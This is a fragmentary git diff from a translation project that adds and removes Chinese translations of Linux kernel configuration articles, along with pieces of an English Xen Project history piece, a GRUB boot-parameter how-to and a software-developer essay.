+可以为I2O启用支持老的输入/输出控制(Enable ioctls (OBSOLETE))。 + +可以启用I2O总线适配器的OSM软件(I2O Bus Adapter OSM)。这组OSM被用来寻找新的在其他适配器末端的I2O设备。 + +下面，可以启用I2O块设备上的OSM(I2O Block OSM)。I2O硬件上的RAID控制器需要这个OSM。 + +下面的OSM用于I2O控制器上的SCSI或者光纤通道设备。 + +如果启用了(I2O /proc support)，可以通过/proc读取I2O设备的信息。 + +在启用/禁用了I2O特性，我们可以继续其他的内核特性。下面，我们看到"Macintosh device drivers"。这只对苹果设备有用。PC的Linux内核不应该有任何这些驱动启用。然而，正如许多说法都有例外一样。一些PC用户可能会使用苹果鼠标、键盘和/或者一些其他的苹果设备。再说一次，最好彻底地理解需求和正在开发的内核。 + +下一步，我们有一个用于网络的驱动(Network device support)。X11和其他的Linux软件不依赖于这个驱动，所以如果内核不会连接到另一台计算机、因特网、内联网或者网络，那么这个特性可以安全地禁用。 + +下面的驱动就像上面，但是特定于核心驱动(Network core driver support)。 + +这个驱动支持Etherchannel(Bonding driver support)。"bonding"是两条或者更多的以太网通道的融合。这也成为中继。 + +使用这个驱动(Dummy net driver support)，可以在Linux中设置一个虚拟网络。虚拟网络(dummy network)就像网络中的/dev/null。任何发送给虚拟网络的数据都会永久消失，因为它会发往/dev/null。IP地址没有设置。用户可以定义他们的网络相当于/dev/null。 + +下一步，可以支持和EQL(EQL (serial line load balancing) support)。这允许两台计算机使用SLIP或者PPP协议在两条串行连接上通信。 + +光纤通道是一种用于连接存储设备到计算机的快速串行协议(Fibre Channel driver support)。 + +TMII收发器需要这个驱动(Generic Media Independent Interface device support)。MII是一种用于最高速度为100Mbit/s以太网的接口。以太网线缆用于连接到PHYceiver，这是一种以太网收发器。 + +为了通过虚拟接口组织许多以太网设备，需要"Ethernet team driver support"。 + +"MAC-VLAN support"允许用户在特定的MAC地址和某个接口上映射数据包。 + +TAP字符设备可以由MAC-VLAN接口生成(MAC-VLAN based tap driver)。TAP设备从内核中获取数据包，这样它们就可以被送往其他地方。 + +下一个特性允许虚拟vxvlan接口在3层网络上创建2层网络(Virtual eXtensible Local Area Network (VXLAN))。这通常用于隧道虚拟网络。 + +内核发送给网络的消息可任意通过这个特性记录下来(Network console logging support)。除非记录网络信息对你很重要时才启用它。禁用这个特性会增强性能。 + +这个特性允许不同参数被改变(Dynamic reconfiguration of logging targets)。这些参数包括端口号、MAC地址、IP地址和其他一些设定。 + +如果用户空间程序希望使用TAP设备，那么启用这个特性可以允许这样的活动(Universal TUN/TAP device driver support)。 + +这个驱动用于本地以太网隧道(Virtual ethernet pair device)。 + +"Virtio network driver"用于QEMU、Xen、KVM和其他虚拟机。 + +下一步，可以启用"ARCnet support"。ARCnet是一种类似令牌环本地局域网络(Local-Area-Network (LAN)协议。ARCnet代表"Attached Resource Computer Network"(附加资源计算器网络)。 + +现在，我们进入到"ATM drivers"。ATM代表"Asynchronous Transfer Mode"(异步传输模式)。ATM用于电信。 + +Marevell以太网交换机芯片需要这个驱动(Marvell 88E6060 ethernet switch chip support)。同样，这类交换机的芯片同样需要依赖模型(Marvell 88E6085/6095/6095F/6131 ethernet switch chip support)和(Marvell 88E6123/6161/6165 ethernet switch chip support)。 + +现在，我们可以学习关于"Ethernet driver support"。 + +首先我们可以启用/禁用"3Com devices"。接下来允许内核开发者选择支持哪些3Com设备。 + +下一组选项是对于不同的"Adaptec devices"和接下来的"Alteon devices"。 + +这些只是特定设备/供应商驱动。通常地，这些驱动被作为模块加入。 + +在设置了这两组选项后，接下来还有"AMD devices"和"Atheros devices"。 + +注意：请记住内核会运行在哪类硬件上。对于大量不同的设备，或许最好把它们作为模块加入 + +这里有不同特定供货商的设备驱动-"Cadence devices"、"Broadcom devices"、"Brocade devices"、"Chelsio devices"、"Cisco devices"、"Digital Equipment devices"。一些其他的特定设备/供应商驱动遵循它们。 + +接下来的驱动并不是特定设备/供应商的 "SLIP (serial line) support"。这个驱动支持SLIP和CSLIP。SLIP(Serial Line Internet Protocol)是一种用于调制解调器和串口的因特网驱动。PPP现在用来代替SLIP。CSLIP是压缩的SLIP。 + +下面，"CSLIP compressed headers"可以启用用来压缩TCP/IP头。CSLIP快于SLIP，但是想要启用CSLIP，传输和接收的计算机都必须理解CSLIP。 + +当在恶劣的模拟线路上使用SLIP时，最好启用"Keepalive and linefill"，这会帮助保持连接。 + +对于质量差的网络或者7bit网络中运行IP而言，最好启用"Six bit SLIP encapsulation"。 + +现在我们可以进入流行的USB系统，但是这些是用于网络的USB驱动。 + +第一个启用/禁用的USB网络设备是"USB CATC NetMate-based Ethernet device support"。这是用于10Mbps的USB以太网EL1210A芯片设备。USB设备将会扮演和成为一个以太网设备即使硬件是USB。 + +接下来，除了设备是KLSI KL5KUSB101B芯片组(USB KLSI KL5USB101-based ethernet device support)，其他与上面的驱动一样。 + +Pegasus USB是USB转以太网的适配器/转换器(USB Pegasus/Pegasus-II based ethernet device support)。 + +接下来是另外一个USB转以太网驱动(USB RTL8150 based ethernet device support)。 + +下一篇文章中，我们将继续配置USB网络系统。 +

Bird -================================================================================ -Xen Hypervisor development started at [Cambridge University][1] as part of the [Xenoserver][2] research project in the late 90’s. The goal of Xenoserver was ambitious: - -The Xenoserver project is building a public infrastructure for wide-area distributed computing. We envisage a world in which Xenoserver execution platforms will be scattered across the globe and available for any member of the public to submit code for execution. The sponsor of the code will be billed for all the resources used or reserved during the course of execution. This will serve to encourage load balancing, limit congestion, and hopefully even make the platform self-financing. - -Today, this model of computing is called cloud computing. And the Xen Hypervisor was - and indeed is today - instrumental in enabling the biggest cloud in production. Not only are Amazon Web Services and Rackspace Public cloud based on Xen. New large deployments such as [Verizon Public Cloud][3] also chose Xen as basis for their offering. - -### Happy 10th Birthday ### - -On October 21st, 2003 at the [19th ACM Symposium on Operating Systems Principles][4] the Xen Hypervisor was first revealed as an open source project to the public. Exactly 10 years ago. Time to wish the project a Happy 10th Birthday! - -### The Burden of being First : Or what happened to the Dinosaurs? ### - -Sometimes being the first open source project in its field can become a burden. Why? Because, community problems can build up unchecked. The simple fact is that lack of competition can cause complacency. This is what happened to the Xen Project. For the first few years of its life the project operated without governance, became insular, didn’t promote itself and failed to engage its users and contributors. When its first open source competitor - KVM - gathered steam, the community was slow to respond and change. - -The effect of all this was that it was difficult to join the project and that the project did not play well with the Linux kernel, QEMU and Linux distros. In the end, the Xen community got a bad reputation. Ultimately this resulted in Canonical and RedHat dropping Xen support in favour of KVM. Add to the mix a failure to tell the world, when things did change. The bad reputation lingered and eventually the project was seen as a dinosaur by the open source community and technology press. Destined to be extinct in the near future. - -### Evolving fast : The Dinosaur becomes a Bird ### - -Not many open source projects recover from mistakes like the ones the Xen community made. The Xen Project managed to do this, through a combination of introducing good governance, active efforts to collaborate with other open source projects, rebooting marketing efforts and actively working with users and contributors to the project. In other words, the project had to -Xen Project flying Panda - -Let the Bird fly (or more correctly, give the Xen Project’s Panda wings). -transform itself from a Dinosaur to a Bird. If you want to know how we did this, why not attend my LinuxCon EU session called [Xen Project : Lessons Learned][5]? Other sessions you may want to attend are [Securing your Xen based Cloud][6] and [Xen: Open Source Hypervisor Designed for Clouds][7]. - -![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg) - -*Let the Bird fly (or more correctly, give the Xen Project’s Panda wings).* - -### A peek into the Future : New Frontiers in Virtualization ### - -If you look at the Xen Project now, you will find that the community is diverse and growing. On many counts, it is bigger and more diverse than it has ever been. - -One of the interesting things that is happening in the Xen Community at the moment is adoption of the Xen Project’s software for non-traditional virtualization use-cases. This is mirroring a rise in activity by embedded companies in the Linux community in general. At the [Xen Project Developer Summit][8] later this week, we will see two Android VMs running on top of Xen on a Nexus 10, we will see first experiments in using Xen for In-Vehicle-Infotainment and automotive applications in general, and we will see how Xen can provide the high performance expected of hardware-based middlebox offerings such as firewalls and NATs. - -Of course, there is also plenty innovation in server virtualization and cloud.

+戴文的Linux内核专题：08 配置内核(4) +================================================================================ + +在这个第四部分里，我们将继续配置更多的设置和特性。 + +这里我们被问及关于"IBM Calgary IOMMU support (CALGARY\_IOMMU)"。这个选项将会提供对IBM xSeries x366和x460的IOMMU的支持。这也将让那些32位PCI的设备工作正常——在这些系统上不支持双地址周期(DAC : Double Address Cycle)——因为该系统设置在访问超过3GB内存的时候会有问题。如果需要这些IOMMU设备可以用"iommu=off"在启动时关闭。(这些内核/模块参数会在以后的文章中讨论) + +IOMMU(input/output memory management unit)是一个内存管理单元(MMU)，它连接具有DMA功能的I/O总线到主内存上。DMA(Direct Memory Access)是许多计算机支持的一种允许特定设备不借助CPU直接访问内存的特性。双地址周期(Double Address Cycle, DAC)是64位DMA；而通常的DMA使用32位。 + +下面，我们被问及是否默认启用Calgary(Should Calgary be enabled by default? (CALGARY\_IOMMU\_ENABLED\_BY\_DEFAULT))。Calgary与上面提到的IOMMU是同一个概念。这两者之间的不同是IOMMU可以支持许多设备而Calgary只能支持IBM IOMMU设备。如果禁用了它，但是以后需要使用到它，可以使用内核参数(iommu=calgary)。 + +这里有个问题需要小心处理(Enable Maximum number of SMP Processors and NUMA Nodes (MAXSMP))。只有在内核运行在拥有很多SMP处理器和NUMA节点的情况下才启用它，如Core i7和许多AMD CPU芯片。如果系统缺乏或者只有少量的SMP处理器和NUMA节点，内核就会变得低效。这个最好选择"No"。 + +非一致性内存访问(Non-Uniform Memory Access (NUMA))是一个每块内存都需要花费更长时间访问其他部分内存的系统。一个节点就是一组内存。例如，一个NUMA系统可能有三块内存芯片。每块芯片是一个节点，在带CPU的主板上有一个节点/芯片(这是最快的节点)，另外两个在不同的总线上。这两个节点需要比第一个节点花费更长的时间去访问。 + +注意：ccNUMA和NUMA目前是一样的，至少是非常相似的。 + +对称多处理器(Symmetric Multi-Processing (SMP))是NUMA的替代品。它的内存在同一根总线上。只有限定数量的CPU可以访问总线，所以这限制了SMP系统上处理器的数量。然而它内存的访问速度一样块。 + +注意：我是在为AMD64系统在编译内核，所以我会告诉你我的选择，来帮助读者理解过程和选择。如果我没有指出我的选择，那么我用的就是默认选择。如果你在为不同的系统编译或者你有不同的需求，你需要在你的情况下做出替代的选择。 + +接下来，除非配置工具已经为你做了选择，选择一个内核需要支持的最多CPU的数量。这个配置根据你给的数量优化内核。 + +接着启用或禁用"SMT (Hyperthreading) scheduler support (SCHED\_SMT)"（超线程调度器支持）。SMT调度器提升了在使用了超线程技术的Pentium 4处理器上的CPU决策能力。然而，这会带来额外的功耗，在一些系统上最好像我一样选择"no"。 + +超线程一种专有的SMT并行微处理器(Intel 实现了它)。这是多任务/多线程(同时做许多任务)的一种特殊形式，并行多线程(Simultaneous multithreading (SMT))提升了多线程执行的效率。 + +在这之后，启用或者禁用"Multi-core scheduler support (SCHED\_MC)"。这样也是一种提升多核CPU决策的特性。然而这回带来额外功耗，我选择了"No"。 + +在下一个选项中可以选择抢占模式。 + +Preemption Model（抢占模式） + +1\. No Forced Preemption (Server) (PREEMPT\_NONE) （非强制抢占） + +\> 2. Voluntary Kernel Preemption (Desktop) (PREEMPT\_VOLUNTARY) （自愿内核抢占） + +3\. Preemptible Kernel (Low-Latency Desktop) (PREEMPT) （可抢占内核） + +choice[1-3]: 2 + +抢占就是暂停一个意图让它之后继续执行的中断任务的过程。抢占强制一个进程暂停，执行中的任务无法忽视抢占。 + +接着，我们被询问关于"Reroute for broken boot IRQs (X86\_REROUTE\_FOR\_BROKEN\_BOOT\_IRQS)"。这是一个对于假中断的简单修复。假中断是一种无用的硬件中断，这些通常是有电子干扰或者错误连接的电子产品触发。记住，中断是发送给处理器需要马上注意的信号。 + +这个选项对任何机器都很重要；我怀疑任何人可能都会有禁用这个特性的理由(Machine Check / overheating reporting (X86\_MCE))。内核必须意识到过热和数据损坏，不然，系统将会继续操作，这样只会导致进一步的破坏。 + +下面，用户可以启用禁用"Intel MCE features (X86\_MCE\_INTEL)"，这是一种额外的对像热度监控的Intel MCE特性的支持。因为我是为AMD64处理器编译内核所以我选择了"no"。机器检测异常(MCE)是一种当处理器发现硬件问题时的错误输出。MCE通常会导致内核严重错误(kernel panic)(相当于Windows中的"蓝屏")。 + +这个除了是AMD设备外是同一个问题Intel MCE features (X86\_MCE\_INTEL)。 + +下一个是我会禁用的调试特性(Machine check injector support (X86\_MCE\_INJECT))。这个会允许注射检查。如果你偶尔执行机器注射，那最好编译成模块而不是编译进内核。机器注射可以使设备即使实际没有错误也可以发送一个伪造的错误信息。这个用来确认内核和其他进程可以正常处理错误。比如，如果CPU过热，接着应该关机，但是开发者如何在不损坏CPU的情况下测试代码。注射错误是一种最好的方法，因为它只是一种告诉硬件发送错误信号的软件。 + +注:模块是对可能被使用或者很少执行的特性/驱动而言的。只加入在许多使用该内核的系统中用到的特性/驱动到内核中。 + +如果内核很可能用在Dell笔记本上，那么启用这个特性(Dell laptop support (I8K))。否则，如果一些用户可能在戴尔笔记本电脑上用到这个内核，将其作为一个模块加入。如果这个内核不打算支持Dell笔记本，那就像我一样忽略掉它。特别地，这个支持是一个允许Dell Inspiron 8000系列笔记本访问处理器的系统管理模式的驱动。系统管理模式的目的是得到处理器的温度和风扇状态，这对一些需要控制风扇的系统有用。 + +下面，用户可以选择微码加载支持(CPU microcode loading support (MICROCODE))。这可以允许用户在支持这个特性的AMD或者Intel芯片上更新微码。 + +注意：为了加载微码，你必须拥有一个为你的处理器设计的合法的二进制微代码拷贝。 + +如果要加载微码补丁(修复bug或加入次要的特性)到intel芯片上(Intel microcode loading support (MICROCODE\_INTEL))，这个就必须启用。这里我禁用了它。 + +然后是AMD芯片的类似选项(AMD microcode loading support (MICROCODE\_AMD))。 + +启用这个支持(/dev/cpu/*/msr - Model-specific register support (X86\_MSR))可以允许某个处理器有权限使用x86特殊模块寄存器(Model-Specific Registers (MSRs))。这些寄存器是一些字符设备，包括major 202下minor 0到31的设备((/dev/cpu/0/msr to /dev/cpu/31/msr))。这个特性用在多处理器系统上。每个虚拟字符设备都连接到一个特定的CPU。 + +注意：MSRs被用来改变CPU设备、调试、性能监控和执行追踪。MSRs使用x86指令集。 + +在这之后，我们有一个选项"CPU information support (X86\_CPUID)"，启用这个特性允许处理器访问x86 CPUID指令，这需要通过字符设备在一个特定的CPU上执行。这些字符设备包括major 202下minor 0到31的设备(/dev/cpu/0/msr to /dev/cpu/31/msr)，就像上面x86\_MSR支持的这些。 + +如果处理器支持，启用内核线性映射来使用1GB的内存页(Enable 1GB pages for kernel pagetables (DIRECT\_GBPAGES))。启用这个可以帮助减轻TLB的压力。 + +页是内存本身的基本单位(位是数据的基本单位)。页的大小是由硬件自身决定的。页码表是虚拟和物理内存间的映射。物理内存是设备上的内存。虚拟内存是到内存的地址。依赖于系统架构，硬件可以访问大于实际内存地址的地址。举例来说，一个64位系统拥有6GB内存，管理员在需要时可以加上更多的内存。这是因为还有很多虚拟内存地址。然而，在很多32位系统上，系统管理员可以增加一条8GB的内存，但是系统无法完全使用它，因为系统中没有足够的虚拟内存地址去访问大容量的内存。转换后援缓冲器(Translation Lookaside Buffer (TLB))是一种提升虚拟内存转换速度的缓存系统。 + +下面，我们看到了NUMA选项(Numa Memory Allocation and Scheduler Support (NUMA))。这可以允许内核在CPU本地内存分配器上分配CPU可使用的内存。这个支持同样可使内核更好感知到NUMA。很少的32位系统需要这个特性，但是一些通用的645位处理器使用这个特性。我选择了"no"。 + +为了系统使用旧方式来检测AMD NUMA节点拓扑，启用这个特性(Old style AMD Opteron NUMA detection (AMD\_NUMA))。下一个选项是一种更新的检测方式(ACPI NUMA detection (X86\_64\_ACPI\_NUMA))。如果两个都启用，新的方式将会占支配作用。一些硬件在使用其中一种方式而不是另外一个时工作得更好。 + +如果为了调试目的的NUMA仿真，可以启用下一个特性(NUMA emulation (NUMA\_EMU))。 + +注意：如果你不打算进行调试并且你需要一个快速、轻量级系统，那么禁用尽可能多的调试特性。 + +下一个选项中，选择你的内核打算如何处理NUMA节点的最大数量。接下来选择内存模型，这里可能只有一个内存模型选择。内存模型指定了内存如何存储。 + +Maximum NUMA Nodes (as a power of 2) (NODES\_SHIFT) [6] + +Memory model + +\> 1. Sparse Memory (SPARSEMEM\_MANUAL) + +choice[1]: 1 + +为了提升性能，这里有一个选项用通过虚拟内存映射(Sparse Memory virtual memmap (SPARSEMEM\_VMEMMAP))来优化pfn\_to\_page和page\_to\_pfn操作。页帧号是每页被给定的号码。这两个操作用来从号码得到页或者从页得到号码。 + +下一个选项是允许一个节点可以移除内存(Enable to assign a node which has only movable memory (MOVABLE\_NODE))。内核页通常无法移除。当启用后，用户可以热插拔内存节点，同样可移除内存允许内存整理。作为出入内存的数据，只要有可用空间一组数据可能被划分到不同内存。 + +接着前面的内存问题，我们还有更多的问题。这些可能已被配置工具预配置了。第三个选项(BALLOON\_COMPACTION)，当启用时可以帮助减少内存碎片。碎片内存会减慢系统速度。第四个选项(COMPACTION)允许内存压缩。下面列到的第五个选项(MIGRATION)允许页面被移动。 + +- Allow for memory hot-add (MEMORY\_HOTPLUG) (允许内存热添加) +- Allow for memory hot remove (MEMORY\_HOTREMOVE) （允许内存热移除） +- Allow for balloon memory compaction/migration (BALLOON\_COMPACTION) （允许泡状内存规整和合并） +- Allow for memory compaction (允许内存规整) +- Page migration (MIGRATION) (页合并) + +注意：启用可移动内存会启用以上5个特性。 + +下一步，我们可以"Enable KSM for page merging (KSM)"。内核同页合并(Kernel Samepage Merging (KSM))会查看程序认为可以合并的内核。如果两页内存完全相同这可以节约内存。一块内存可以被删除或者被合并，并且只有一块可以使用。 + +配置工具可能会自动选择保存多少内存用于用户分配(Low address space to protect from user allocation (DEFAULT\_MMAP\_MIN\_ADDR) [65536])。 + +下一个选项很重要(Enable recovery from hardware memory errors (MEMORY\_FAILURE))。如果内存故障并且系统有MCA恢复或者ECC内存，系统就可以继续运行并且恢复。要使用这个特性，硬件自身和内核都必须支持。 + +机器检测架构(Machine Check Architecture (MCA))是一个一些CPU上可以发送硬件错误信息给操作系统的特性。错误更正码内存(Error-correcting code memory (ECC memory))是一种内存设备检测和纠正错误的形式。 + +下面，配置工具会自动启用"HWPoison pages injector (HWPOISON\_INJECT)"。这个特性允许内核标记一块坏页为"poisoned"，接着内核会杀死创建坏页的程序。这有助于停止并纠正错误。 + +为了允许内核使用大页(Transparent Hugepage Support (TRANSPARENT\_HUGEPAGE))，启用这个特性。这可以加速系统但是需要更多内存。嵌入式系统不必使用这个特性。嵌入式系统通常只有非常小的内存。 + +如果启用了上面的，那么必须配置大页的sysfs支持。 + +Transparent Hugepage Support sysfs defaults + +1\. always (TRANSPARENT\_HUGEPAGE\_ALWAYS) + +\> 2. madvise (TRANSPARENT\_HUGEPAGE\_MADVISE) + +choice[1-2?]: 2 + +下面的选项是增加process\_vm\_readv和process\_vm\_writev这两个系统调用(Cross Memory Support (CROSS\_MEMORY\_ATTACH))。这允许特权进程访问另外一个程序的地址空间。 + +如果有tmem，启用缓存清理(cleancache)通常是一个好主意 (Enable cleancache driver to cache clean pages if Transcendent Memory (tmem) is present (CLEANCACHE))。当一些内存页需要从内存中移除时，cleancache会将页面放在cleancache-enabled的文件系统上。当需要该页时，页会被重新放回内存中。超内存(tmem)没有一组已知大小的内存，内核对此内存使用间接寻址。 + +下一个选项允许在tmen激活后缓存交换页(Enable frontswap to cache swap pages if tmem is present (FRONTSWAP))。frontswap在交换分区放置数据。交换特性的支持需要这个。 + +最好启用下一个特性(Check for low memory corruption (X86\_CHECK\_BIOS\_CORRUPTION))。这会检测低位内存的内存损坏情况。这个特性在执行期被禁止。为了启用这个特性,在内核命令行内加入 "memory\_corruption\_check=1"(这会在以后的文章中讨论;这不同于任何命令行)。即使经常执行这个特性，也只使用非常小的开销(接近没有)。 + +接下来我门可以设置内存损坏检测的默认设置(“Set the default setting of memory\_corruption\_check (X86\_BOOTPARAM\_MEMORY\_CORRUPTION\_CHECK))。这可以选择是否开启或关闭memory\_corruption\_check。最好启用内存损坏检测不然如果一部分重要内存损坏后可能会导致数据丢失和系统崩溃。 + +这个选项关注的是BIOS(Amount of low memory, in kilobytes, to reserve for the BIOS (X86\_RESERVE\_LOW) [64])。配置工具通常知道给BIOS预留内存的最佳大小。 + +对于Intel P6处理器，开发者可以启用存储区域类型寄存器(MTRR (Memory Type Range Register) support (MTRR))。这用于连接着VGA卡的AGP和PCI卡。启用这个特性内核会创建/proc/mtrr。 + +如果X驱动需要加入回写入口，那么启用下面的选项(MTRR cleanup support (MTRR\_SANITIZER))。这会将MTRR的布局从连续转换到离散。存储区域类型寄存器(Memory type range registers (MTRRs))提供了一种软件访问CPU缓存的方法。 + +下面，配置工具已经设置了一些MTRR选项 + +- MTRR cleanup enable value (0-1) (MTRR\_SANITIZER\_ENABLE\_DEFAULT) [1] + +- MTRR cleanup spare reg num (0-7) (MTRR\_SANITIZER\_SPARE\_REG\_NR\_DEFAULT) [1] + +为了设置页级缓冲控制，那就启用PAT属性(x86 PAT support (X86\_PAT))。页属性表(Page Attribute Table (PATs))是现在版的MTRRs并比它更灵活。如果你经历过因启用它而引发的启动问题，那么禁用这个特性后重新编译内核。我选择了"no"。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-4.4392/ + +译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md b/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md deleted file mode 100755 index 0ea6e20611..0000000000 --- a/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md +++ /dev/null @@ -1,151 +0,0 @@ -08 Linux 内核: 配置内核(Part 4) -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.392/) - -在“The Linux kernel: Configuring the Kernel”的第四部分里，我们将继续配置更多的设置和特性。 - -这里我们被问及关于"IBM Calgary IOMMU support (CALGARY_IOMMU)"。这个选项将会提供对IBM xSeries x366和x460的IOMMU的支持。这也将让那些32位PCI,这些系统上不支持双地址周期(DAC (Double Address Cycle))的设备正常运行,因为该系统设置在访问超过3GB内存的时候会有问题。如果需要这些IOMMU设备可以用"iommu=off"在启动时关闭。(这些内核/模块参数会在以后的文章中讨论) - -IOMMU(input/output memory management unit)是一个内存管理单元(MMU),它连接具有DMA功能的I/O总线到主内存上。DMA(Direct Memory Access)是许多计算机支持的一种允许特定设备不借助CPU直接访问内存的特性。双地址周期(Double Address Cycle, DAC)是64位DMA;通常的DMA使用32位。 - -下面，我们被问及是否默认启用Calgary(Should Calgary be enabled by default?

Sparse Memory (SPARSEMEM_MANUAL) -choice[1]: 1 - -为了有助于性能，这里有一个选项用通过虚拟内存映射(Sparse Memory virtual memmap (SPARSEMEM_VMEMMAP))来优化pfn_to_page和page_to_pfn操作。页帧号是每页被给定的号码。这两个操作用来从号码得到页或者从页得到号码。 - -下一个选项是允许一个节点可以移除内存(Enable to assign a node which has only movable memory (MOVABLE_NODE))。内核页通常无法移除。当启用后，用户可以热插拔内存节点。同样可移除内存允许内存整理。作为出入内存的数据，只要有可用空间一组数据可能被划分到不同内存。 - -接着前面的内存问题，我们还有更多的问题。这些可能已被配置工具预配置了。第三个选项(BALLOON_COMPACTION)，当启用时可以帮助减少内存碎片。碎片内存会减慢系统速度。第四个选项(COMPACTION)允许内存压缩。下面列到的第五个选项(MIGRATION)允许页面被移动。 - -Allow for memory hot-add (MEMORY_HOTPLUG) -Allow for memory hot remove (MEMORY_HOTREMOVE) -Allow for balloon memory compaction/migration (BALLOON_COMPACTION) -Allow for memory compaction () -Page migration (MIGRATION) - -注意：启用可移动内存会启用以上5个特性。 - -下一步，我们可以"Enable KSM for page merging (KSM)"。内核同页合并(Kernel Samepage Merging (KSM))会查看程序认为可以合并的内核。如果两页内存完全相同这可以节约内存。一块内存可以被删除或者被合并，并且只有一块可以使用。 - -配置工具可能会自动选择使用多少内存保存用户分配(Low address space to protect from user allocation (DEFAULT_MMAP_MIN_ADDR) [65536])。 - -下一个选项很重要(Enable recovery from hardware memory errors (MEMORY_FAILURE))。如果内存故障并且系统有MCA恢复或者ECC内存，系统就可以继续运行并且恢复。要有这个特性，硬件自身和内核都必须支持。 - -机器检测架构(Machine Check Architecture (MCA))是一个一些CPU上可以发送硬件错误信息给操作系统的特性。错误更正码内存(Error-correcting code memory (ECC memory))是一种内存设备检测和纠正错误的形式。 - -下面，配置工具会自动启用"HWPoison pages injector (HWPOISON_INJECT)"。这个特性允许内核标记一块坏页为"poisoned"，接着内核会杀死创建坏页的程序。这有助于停止并纠正错误。 - -为了允许内核使用大页(Transparent Hugepage Support (TRANSPARENT_HUGEPAGE))，启用这个特性。这可以加速系统但是需要更多内存。嵌入式系统不必使用这个特性。嵌入式系统通常只有非常小的内存。 - -如果启用了上面的，那么巨大页的sysfs支持必须配置。 - -Transparent Hugepage Support sysfs defaults -1. always (TRANSPARENT_HUGEPAGE_ALWAYS) -> 2. madvise (TRANSPARENT_HUGEPAGE_MADVISE) -choice[1-2?]: 2 - -下面的选项是增加process_vm_readv和process_vm_writev这两个系统调用(Cross Memory Support (CROSS_MEMORY_ATTACH))。这允许特权进程访问另外一个程序的地址空间。 - -如果有tmem，启用缓存清理(cleancache)通常是一个好主意 (Enable cleancache driver to cache clean pages if Transcendent Memory (tmem) is present (CLEANCACHE))。当一些内存页需要从内存中移除时，cleancache会将页面放在cleancache-enabled的文件系统上。当需要该页时，页会被重新放回内存中。超绝记忆体(tmem)没有一组一直大小的内存。内核对此内存使用间接寻址。 - -下一个选项允许在tmen激活后缓存交换页(Enable frontswap to cache swap pages if tmem is present (FRONTSWAP))。frontswap在交换分区放置数据。交换特性的支持需要这个。超绝记忆体 - -最好启用下一个特性(Check for low memory corruption (X86_CHECK_BIOS_CORRUPTION))。这会检测低位内存的内存损坏情况。这个特性在执行期被禁止。为了启用这个特性,在内核命令行内加入"memory_corruption_check=1"(这会在以后的文章中讨论;这不同于任何命令行)。即使经常执行这个特性，也只使用非常小的开销(接近没有)。 - -接下来我门可以设置内存损坏检测的默认设置(“Set the default setting of memory_corruption_check (X86_BOOTPARAM_MEMORY_CORRUPTION_CHECK))。这可以选择是否开启或关闭memory_corruption_check。最好启用内存损坏检测不然如果一部分重要内存损坏后可能会导致数据丢失和系统崩溃。 - -这个选项关注的是BIOS(Amount of low memory, in kilobytes, to reserve for the BIOS (X86_RESERVE_LOW) [64])。配置工具通常知道给BIOS预留内存的最佳大小。 - -对于Intel P6处理器，开发者可以启用存储区域类型寄存器(MTRR (Memory Type Range Register) support (MTRR))。这用于连接着VGA卡的AGP和PCI卡。启用这个特性内核会创建/proc/mtrr。 - -如果X驱动需要加入回写入口，那么启用下面的选项(MTRR cleanup support (MTRR_SANITIZER))。这会将MTRR的布局从连续转换到离散。存储区域类型寄存器(Memory type range registers (MTRRs))提供了一种软件访问CPU缓存的方法。 - -下面，配置工具已经设置了一些MTRR选项 - -MTRR cleanup enable value (0-1) (MTRR_SANITIZER_ENABLE_DEFAULT) [1] -MTRR cleanup spare reg num (0-7) (MTRR_SANITIZER_SPARE_REG_NR_DEFAULT) [1] - -为了设置页级缓冲控制，那就启用PAT属性(x86 PAT support (X86_PAT))。页属性表(Page Attribute Table (PATs))是现在版的MTRRs并比它更灵活。如果你经历过因启用它而引发的启动问题，那么禁用这个特性后重新编译内核。我选择了"no"。 - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-4.4392/ - -译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From a8170ddb1526ec5f58551c582ef45317c6b408f1 Mon Sep 17 00:00:00 2001 From: wxy Date: Mon, 11 Nov 2013 21:33:48 +0800 Subject: [PATCH 027/402] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AHow=20to=20c?= =?UTF-8?q?onvert=20DOCX,=20DOC,=20RTF,=20ODT=20to=20PDF=20with=20LibreOff?= =?UTF-8?q?ice?= MIME-Version: 1.0 Content-Type: text/plain;

Add a kernel parameter in the form of “name=value” in GRUB_CMDLINE_LINUX variable. - - $ sudo -e /etc/default/grub - -> GRUB_CMDLINE_LINUX="...... name=value" - -Then run the following command to generate a GRUB2 config file. - - $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg - -### Add Kernel Boot Parameters on CentOS ### - -To add kernel parameters during boot on CentOS, directly edit a GRUB config file located at /boot/grub/grub.conf. In the config file, look for the entry describing the default Linux image used. The string “default=N” at the top of the config file indicates which entry is the default image. - -[![](http://farm8.staticflickr.com/7429/10618657834_8082c2806b_z.jpg)][1] - -Under the default image entry, append a kernel parameter to the line starting with “kernel /vmlinuz-”.

I’m talking about those A people whom you would quit your job for to go start a company. And the the more I looked at what makes them so good, the more I realized they all share a handful of personality traits. Well, not exactly a handful, more like four. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/chess_game.jpg) - -### Pessimistic ### - -Admiral Jim Stockdale was the highest ranking US military officer imprisoned in Vietnam. He was held in the “Hanoi Hilton” and repeatedly tortured over 8 years. Stockdale told Jim Collins, author of [Good to Great][5], “You must never confuse faith that you will prevail in the end, which you can never afford to lose, with the discipline to confront the most brutal facts of your current reality, whatever they might be.” - -After his release, Stockdale became the first three-star officer in the history of the navy to wear both aviator wings and the Congressional Medal of Honor. - -Stockdale was a pessimist in the short-term because he faced the brutal facts of his reality, but was an optimist in the long-term because of his confidence that he would prevail in the end. - -No one anticipates a catastrophic system failure 